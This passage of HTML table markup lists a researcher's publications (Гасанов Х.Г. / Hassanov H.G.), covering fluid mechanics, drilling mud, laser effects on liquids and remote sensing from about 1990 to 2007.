width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Тагиев Б.Г., Аскеров И.М., Айдаев Ф.Ш., Асланов Г.К., Гасанов Х.Г. Ахмедов Ф.А.</p></td><td width=\"102\"><p>Авторское свидетельство СССР № 1572358</p></td><td width=\"60\"><p>05.02.1990</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрический измерительный преобразователь.</p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Акперов М.М., Аскеров И.М., Керимова Р.А., Алиев И.А., Тагиев Б.Г., Асланов Г.К. Гасанов Х.Г.</p></td><td width=\"102\"><p>Авторское свиде-тельство СССР № 1619973</p></td><td width=\"60\"><p>08.09.1990</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Разрушение сверхпроводимости в вистумовых керамиках магнитным полем.</p></td><td width=\"102\"><p>Препринт № 102 НПО Космических исследований</p></td><td width=\"84\"><p>&nbsp;Алиев С.А., Алиев В.М., Багиров Дж.Н., Исмайлов И.А., Мехтиев А.Ш., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1992</p><p>&nbsp;</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermoemf and magneto-thermoemf in Bi-Sr-Ca-Cu-O.</p></td><td width=\"102\"><p>Proc. of Intern. conference “ Matter in condensed state”</p></td><td width=\"84\"><p>Алиев С.А., Багиров Дж.Н., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>pp. 69-73<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Superconductivity in systems YаBa<sub>2</sub>&nbsp;Cu<sub>3</sub>&nbsp;O<sub>7-</sub><sub>d</sub>(A - Tu, Nd, Cd).</p></td><td width=\"102\"><p>Proc. of Intern. conference “Matter in condensed state”</p></td><td width=\"84\"><p>Алиев С.А., Алиев В.М., Багиров Дж.Н., Исмайлов И.А., Мехтиев А.Ш., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>рр. 74-77<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термоэдс и магнитотермо-эдс в системах Bi-Sr-Ca-Cu-O.</p></td><td width=\"102\"><p>Препринт № 357 Института физики АН Азербайджана</p></td><td width=\"84\"><p>Алиев С.А., Багиров Дж.Н., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый метод определения давления бурового раствора.</p></td><td width=\"102\"><p>Материалы Научно – практической конференции, посвященной 70 – летию АзНИПИ-нефти</p></td><td width=\"84\"><p>Гасанов Х.Г., Исмайлов Ф.А.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Сентябрь, 1998</p></td><td width=\"60\"><p>стр.72</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric fields on liquids viscosity and its using in real transportation system,</p></td><td width=\"102\"><p>Abstract book of Second International Symposium on Mathematical &amp; Computational Application<strong></strong></p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>p. 81</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Geophysical parameters impact upon borehole drilling mud density and hydrostatic pressure.</p></td><td width=\"102\"><p>Journal of Geophysics news in Azerbaijan</p></td><td width=\"84\"><p>Hassanov H. G.&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 2</p><p>рр. 20 - 22<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Движение вязкой жидкости в цилиндрической трубе под действием магнитного поля.</p></td><td width=\"102\"><p>Известия Акад. Наук Азерб. (серия физ. - мат. и тех. наук)</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>том 20, № 2, стр. 22 - 29</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый метод определения скорости распространения акустических волн и коэффициента их поглощения в жидкостях.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х. Г., Садигова А. А.&nbsp;</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 1, стр. 92 – 94</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерных лучей на теплофизические свойства жидкостей</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 4, стр. 5 – 8</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Особенности движения жидкости в трубе с электрическими каскадами.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов&nbsp; Х. Г.&nbsp;</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 3 - 4, стр. 148 - 156</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>К теории разделения потока вязкой жидкости электрическим полем.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 4, стр. 101 - 105</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение оптических методов к термодина-мическим задачам</p></td><td width=\"102\"><p>Материалы Второй Республиканской Конференции \'\'Актуальные проблемы&nbsp; физики\'\'</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Октябрь, 2001</p></td><td width=\"60\"><p>стр. 105</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерных лучей на динамическую вязкость жидкостей.</p></td><td width=\"102\"><p>Журнал &nbsp;\'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 2, стр. 4 – 7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Motion of compressible liquids in pipe</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Compu-tational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H. G.&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>vol. 6, № 1, pp. 75- 83<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Об одной обратной задаче электротермодинамики</p></td><td width=\"102\"><p>Изв. ВТУЗов Азерб. \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Гасанов Х. Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 3 (13), стр. 23 - 26</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О разделении жидких смесей в поле электромагнитной волны.</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 4, стр. 9 - 14<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Possibility of practical using of electric field in transportation systems</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational Application<strong></strong></p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. 7,&nbsp; № 2, pp. 113 - 121<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Influence of laser radiation on thermophysical and thermodynamic properties of non - transparent liquids.</p></td><td width=\"102\"><p>Proceedings of the First International Conference on Heat Transfer, Fluid Mechanics and Thermodynamics</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>Kruger Park (South Africa)</p></td><td width=\"60\"><p>April, 2002</p></td><td width=\"60\"><p>pp. 237 - 242<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Optimization of drilling mud density by barometric index</p></td><td width=\"102\"><p>Proc. of the Ninth Asian Congress of Fluid Mechanics</p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Isfahan, Iran</p></td><td width=\"60\"><p>May 2002</p></td><td width=\"60\"><p>p. 102<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric field on liquid viscosity in co – axial cylindrical pipes</p></td><td width=\"102\"><p>Proc. of the Ninth Asian Congress of Fluid Mechanics</p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Isfahan, Iran</p></td><td width=\"60\"><p>May 2002</p></td><td width=\"60\"><p>p. 106<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Решение задачи выноса шлама из скважины при&nbsp; бурении.</p></td><td width=\"102\"><p>Изв.&nbsp; Акад.&nbsp; Наук&nbsp; Азерб.&nbsp; Респ. (серия наук о Земле)<strong></strong></p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 3, стр. 144 - 146<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Гидродинамические исследования взаимодействия акустических и лазерных излучений с жидкостью</p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку,&nbsp; Ачыг дюнья</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>384 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Heat transfer in a boundary layer of liquid in a cylindrical pipe.</p></td><td width=\"102\"><p>Transactions of National Academy of Sciences of Azerbaijan (series of physical-technical and mathematical sciences)</p></td><td width=\"84\"><p>Gasanov H. G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. XXII, № 1, pp. 230 - 236</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О течении жидкости в упругой трубе с проницаемыми стенками.</p></td><td width=\"102\"><p>Изв. ВТУЗов \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Назиев Дж. Я., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 2, стр. 20 - 25</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hydraulic impact of viscous liquid under thermodynamic expansion.</p></td><td width=\"102\"><p>Proceed. of Institute of Math. and Mech. of Nation. Acad. of Sciences of Azerb.</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. XVII (XXV), pp. 142 - 149</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый подход к определению температурной зависимости теплофизических свойств жидкостей.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 3, стр. 79 - 84</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Релаксация скорости жидкости под действием электри-ческого поля.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№&nbsp; 4, стр. 80 - 85</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Температурное поле жидкости по сечению цилиндрической трубы под действием лазерного излучения.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 4, стр. 63 - 67</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерного излучения на гидравлический удар вязкой жидкости.</p></td><td width=\"102\"><p>Журнал \'\' Бильги \'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 4, стр. 7 - 11<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of high – frequency electromagnetic fields on thermodynamic properties of heavy – viscous liquids</p></td><td width=\"102\"><p>Proc. of&nbsp; the First Inter. Conf. on Tech. &amp; Phys. Problems in Power Engineering</p></td><td width=\"84\"><p>Hassanov G. T., Hassanov H. G.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>April&nbsp; 2002</p></td><td width=\"60\"><p>pp. 345 – 349</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>About one inverse problem of electro-thermophysics</p></td><td width=\"102\"><p>Proc. of&nbsp; the First Inter. Conf. on Tech. &amp; Phys. Problems in Power Engineering</p></td><td width=\"84\"><p>Нassanov G. T., Aliyev A. A., Hassanov H. G.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>April&nbsp; 2002</p></td><td width=\"60\"><p>pp. 350 – 353</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A mathematical model for the separation of viscous liquid flow by magnetic field</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol. 8, № 1, pp. 13 - 19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermodynamic effects at interaction between laser beam and heavy viscous liquids.</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol. 8, № 1, pp. 21 – 26</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерного излучения на коэффициент поверх-ностного натяжения</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (5), № 1, стр. 87-89</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые вопросы усовершенствования технологических процессов с помощью тепломассообменных свойств жидкости</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку, Khazar University Press</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>130 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A theory for the separation of liquid mixtures by laser radiation.</p></td><td width=\"102\"><p>Physical Separation in Science and Engineering</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol.3, №3, pp. 179-187</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние времени релаксации на распространение акусти-ческой волны в жидкости.</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№ 2, стр. 16 - 23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение нелинейных преобразований Лапласа для решения уравнения Навье - Стокса.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (6), № 2, стр. 63-68</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние акустического излучения на электросопротивление жидкостей.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х.Г. , Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№&nbsp; 4, стр. 52 - 58</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Использование акустических и лазерных излучений для контроля свойств бурового раствора.</p></td><td width=\"102\"><p>Азерб. Нефтяное Хозяйство.</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев Ч.Т.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№ 12, стр. 31–34, 62</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О влиянии вязких напряжений жидкости на распростра-нение акустической волны в ней при воздействии лазерного излучения.</p></td><td width=\"102\"><p>Вестник БГУ (серия физико-математических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№2, стр.166-173</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Периодические тепловые структуры с цилиндрической симметрией.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (8), № 2, стр. 62-66</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Обратные задачи термохимических реакций, инициируемых лазерным излучением при транспортировке парафинистых нефтей.</p></td><td width=\"102\"><p>Тезисы докладов научной конференции, посвященной 90-летнему юбилею член-корр. З.Г. Зульфугарова.</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>стр. 22-25</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термодинамическое исследование взаимо-действий некоторых физических полей с жидкостью.</p></td><td width=\"102\"><p>Материалы Третьей Республи-канской Конференции \'\'Актуальные проблемы физики\'\'</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Февраль, 2004</p></td><td width=\"60\"><p>стр. 107</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термический разрыв нефтеносной породы лазерным излучением.</p></td><td width=\"102\"><p>Изв. ВТУЗов \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№ 2 (30) , стр. 20 – 23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Using magnetic field in cooling systems of solar photoelectric sets.</p></td><td width=\"102\"><p>Proceed. of the 2nd Intern. Confer. on Tech. &amp; Physical Problems in Power Engineering</p></td><td width=\"84\"><p>Hashimov A.M., Safarov N.A., Hassanov H.G., Tabatabaei N.M., Samsunchi N.</p></td><td width=\"102\"><p>Tabriz, Iran</p></td><td width=\"60\"><p>September 2004</p></td><td width=\"60\"><p>pp. 779-780</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Akustik dalğaların neft sənayesində tətbiqi</p></td><td width=\"102\"><p>AzNSETLİ-nin Elmi Əsərləri (AzNSETLİ-nin 75 illiyinə həsr olunmuş toplu)</p></td><td width=\"84\"><p>H.Q.<strong></strong>Həsənov, X.M. Talıbova, C.H. Abışov, G.A. Məmmədova</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№&nbsp; 2, стр. 164 - 172</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности использования магнитного поля в охлаждающих системах солнечных фотоэлектрических установок.</p></td><td width=\"102\"><p>Труды 2 - ой Междунар. Научно - техн. Конференции \'\'Энергетика, Экология, Энергосбережение, Транспорт\'\'</p></td><td width=\"84\"><p>Гашимов А.М., Сафаров Н.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Тобольск</p></td><td width=\"60\"><p>Сентябрь, 2004</p></td><td width=\"60\"><p>стр. 237-239</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Точное решение задачи испарения жидкости под действием лазерного излучения.</p></td><td width=\"102\"><p>Вестник БГУ (серия физико-математических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№3, стр. 154-163</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние сжимаемости бурового раствора на технологические процессы при бурении скважин.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку, Изд-во ²Тахсил²</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>181 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hydraulic impact of compressible viscous liquid.</p></td><td width=\"102\"><p>Proceed. of Instit. of Math. &amp; Mechanics</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>vol. XXI (XXIX), pp.213-218</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of temperature dependencies of thermophysical properties of solids and liquids.</p></td><td width=\"102\"><p>International Journal of Science and Technology (Scientia Iranica).</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>Vol.11, #4, pp. 371-377</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric field on liquid viscosity in co-axial cylindric pipes.</p></td><td width=\"102\"><p>Journal of Aerospace Science and Technology.</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>Vol.2, #1, pp.1-5</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Образование электрических зарядов при движении нефте-продуктов по нефтепроводам.</p></td><td width=\"102\"><p>Ученые записки АГУ (серия фундаментальных наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>том. IV(13), №1, стр. 31-36</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Метод учета влияия паров воды при обработке данных гиперспектрометров.</p></td><td width=\"102\"><p>Труды 6-ой международной научно - технической конференции ²Микроэлектронные преобразователи и приборы на их основе²</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов, Х. Г. Асадов, Ш. Т. Сулейманов, А. Г. Мамедбейли, Э. С. Аббасзаде, С. Р. Азимова.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>14-16 ноября 2007</p></td><td width=\"60\"><p>стр. 134-136</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Метод многоволновых циклических измерений компонентов континуального поглощения в задачах эмиссионной и абсорбционной спектроскопии для контроля атмосферы.</p></td><td width=\"102\"><p>Труды 6-ой международной научно-технической конференции ²Микроэлектронные преобразователи и приборы на их основе²</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов, Х. Г. Асадов, Н. А. Аскеров, Т. Ф. Рзаева, И. М Мирзабалаев, С. Р. Азимова.</p></td><td width=\"102\"><p>Баку.</p></td><td width=\"60\"><p>14-16 ноября 2007</p></td><td width=\"60\"><p>стр. 137-138</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые проблемы построения цифровых карт.</p></td><td width=\"102\"><p>Известия Азербайджанского Нацио-нального Аэрокосмического Агентства</p></td><td width=\"84\"><p>Р. М. Рагимов, Х. Г. Гасанов, Э. Р. Алескеров, Н. М. Пашаев, Х. А. Сафибекова.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10, № 1-2, стр. 124-130.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Нанотехнологии: пути развития и перспективы их применения в Азербайджане.</p></td><td width=\"102\"><p>Известия Азербайджанского Национального Аэрокос-мического Агентства</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10, № 3-4, стр. 3-11.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности комбинирования метода Парето оптимизации с трехступенчатым принципом применительно к задачам дистанционного зондирования.</p></td><td width=\"102\"><p>Известия Азербайджанского Национального Аэрокосмического Агентства</p></td><td width=\"84\"><p>Х. Г. Гасанов, Х. Г. Асадов, М. Дж. Керимов, Т. Ф. Рзаева, Н. А. Аскеров, А.Г. Мамедбейли, Х. С. Алиева</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10,&nbsp; № 3-4, стр. 17-23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Portativ anemometr</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>H.Q. Həsənov, A.Ş. Xıdırov, M.N. Stoyalov, F.A. Məmmədov.</p></td><td 